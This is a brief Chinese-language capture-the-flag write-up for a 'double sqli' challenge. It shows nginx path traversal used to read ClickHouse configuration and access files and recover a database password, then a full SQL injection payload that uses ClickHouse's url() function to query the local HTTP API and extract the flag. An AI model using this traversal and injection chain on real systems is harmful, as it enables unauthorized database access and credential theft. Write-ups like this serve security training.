double sqli
修改
/?id=1
为?id=2
,返回链接地址/files/test.jpg
直接访问
/files/
,发现存开启了目录列表功能

Nginx 路径穿越
ClickHouse配置路径:/etc/clickhouse-server/

查看config.xml和users.xml,发现开启HTTP API接口,端口为8123

ClickHouse 数据路径:var/lib/clickhouse/

在 /var/lib/clickhouse/access/ 下发现sql文件

下载下来,打开查看得到一个数据库用户和密码
用户名:user_01
密码:e3b0c44298fc1c149afb

利用注入点和HTTP API
利用以上获取的数据库用户名和密码,根据 ClickHouse 的 url函数 和 HTTP API 构造注入语句:
/?id=1 union all select html from url('http://localhost:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26database=ctf%26query=select%2520*%2520from%2520flag',RawBLOB,'html String')
注意:URL函数里的url地址中的空格需要二次url编码
打开以上链接 Get flag:

最后更新于
这有帮助吗?